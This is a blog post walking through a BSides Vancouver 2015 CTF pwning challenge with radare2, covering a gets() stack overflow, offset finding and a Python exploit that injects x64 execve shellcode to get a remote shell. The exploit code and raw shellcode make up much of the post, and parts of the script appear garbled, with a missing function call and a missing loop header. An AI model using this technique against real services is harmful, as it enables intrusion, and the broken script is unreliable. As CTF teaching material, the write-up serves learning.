Artificial truth

The more you see, the less you believe.

[archives] [latest] | [homepage] | [atom/rss/twitter]

Pwning sushi from BSides Vancouver CTF with radare2
Sat 29 August 2015 — download

I recently gave an informal workshop/introduction about pwning in ctf with radare2, and this blogpost is roughly a detailed walk-through of one of the used challs, since people asked me to write one. It's a pretty lame basic one, but I was looking for ways to procrastinate, and writing a blogpost is one of the best ones.

The binary is sushi, from the BSide Vancouver CTF 2015, a 100 points pwning.

$ r2 ./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8
[0x004004a0]> i~format
format   elf64
[0x004004a0]> i~nx
nx       false
[0x004004a0]> i~pic
pic      false
[0x004004a0]> i~canary
canary   false

All classic software mitigation are disabled, and it's a x64 binary.

[0x004004a0]> aa
[0x004004a0]> pdf @ main
 (fcn) main 93
          ; var int local_8      @ rbp-0x40
          ; DATA XREF from 0x004004bd (main)
          0x00400596    55             push rbp
          0x00400597    4889e5         mov rbp, rsp
          0x0040059a    4883ec40       sub rsp, 0x40
          0x0040059e    488d45c0       lea rax, [rbp-local_8]
          0x004005a2    4889c6         mov rsi, rax
          0x004005a5    bf88064000     mov edi, str.Deposit_money_for_sushi_here:__p_n ; "Deposit money for sushi here: %p." @ 0x400688
          0x004005aa    b800000000     mov eax, 0
          0x004005af    e89cfeffff     call sym.imp.printf            ;sym.imp.printf()
          0x004005b4    bf00000000     mov edi, 0
          0x004005b9    e8d2feffff     call sym.imp.fflush            ;sym.imp.fflush()
          0x004005be    488d45c0       lea rax, [rbp-local_8]
          0x004005c2    4889c7         mov rdi, rax
          0x004005c5    e8b6feffff     call sym.imp.gets              ;sym.imp.gets()
          0x004005ca    0fb645c0       movzx eax, byte [rbp-local_8]
          0x004005ce    0fbec0         movsx eax, al
          0x004005d1    89c6           mov esi, eax
          0x004005d3    bfaa064000     mov edi, str.Sorry___0._d_is_not_enough._n ; "Sorry, $0.%d is not enough.." @ 0x4006aa
          0x004005d8    b800000000     mov eax, 0
          0x004005dd    e86efeffff     call sym.imp.printf            ;sym.imp.printf()
          0x004005e2    bf00000000     mov edi, 0
          0x004005e7    e8a4feffff     call sym.imp.fflush            ;sym.imp.fflush()
          0x004005ec    b800000000     mov eax, 0
          0x004005f1    c9             leave
          0x004005f2    c3             ret

It seems to be a classic stack-based buffer-overflow, in the gets function. Notice that the address of the buffer used by gets (named rbp-local_8 in radare2) is printed at 0x004005af, giving us a way to bypass ASLR.

$ ragg2 -P 128 -r
$ r2 -d ./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8
Process with PID 9484 started...
Attached debugger to pid = 9484, tid = 9484
Debugging pid = 9484, tid = 9484 now
Using BADDR 0x400000
Assuming filepath ./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8
bits 64
Attached debugger to pid = 9484, tid = 9484
[0x7f5ae80abcd0]> dc
Deposit money for sushi here: 0x7fff304132c0
Sorry, $0.65 is not enough.
[+] SIGNAL 11 errno=0 addr=(nil) code=128 ret=0
Debugging pid = 9484, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x004005f2]> dr=
 r15 0x00000000         r14 0x00000000         r13 0x7fff304133e0
 r12 0x004004a0         rbp 0x41415a4141574141 rbx 0x00000000
 r11 0x00000246         r10 0x4169414168414167  r9 0x00000000
  r8 0x7f5ae80a7980     rax 0x00000000         rcx 0x7ffffff3
 rdx 0x7f5ae80a7980     rsi 0x00000001         rdi 0x00000001
orax 0xffffffffffffffff rip 0x004005f2         rflags = 1PIV
 rsp 0x7fff30413308    
[0x004005f2]> pd 1 @ rip
        ;-- rip:
        0x004005f2    c3             ret
[0x004005f2]> pxW 4 @ rsp
0x7fff30413308 0x5a414159 
[0x004005f2]> woO `pxW 4 @ rsp~[1]`

We got a nice SIGSEGV, and if we check the value of rip, we can see that it's pointing to a ret instruction, that pops 4 bytes from rsp, and jumps there (check ?d ret in radare2 if you don't believe me). If we deference re rsp and ask the De Bruijn offset finder, it tells us that we need to pad with 72 bytes before gaining control of rip.

The backticks are directly borrowed from bash, and allow to chain commands, the ~[1] is the internal grep, outputting only the second column (they start at offset zero).

Since the stack is executable, we just need to grab a nice x64 shellcode, and voila:

import socket
import struct
import re

def rop(*args):  # 'Q' and not 'I' for x64
    return struct.pack('Q'*len(args), *args)

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = socket.create_connection(('', 4444))

buffer_addr ='^Deposit money for sushi here: (.+)$', s.recv(1024)).group(1)
buffer_addr = int(buffer_addr, 16)

s.send(shellcode + 'A'*(72 - len(shellcode)) + rop(buffer_addr) + '\n')

    s.send(raw_input('$ ') + '\n')

Resulting in:

$ rarun2 program=./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8 listen=4444 &
$ python                                                             
$ uptime
 14:48:12 up  4:12,  8 users,  load average: 0.12, 0.15, 0.20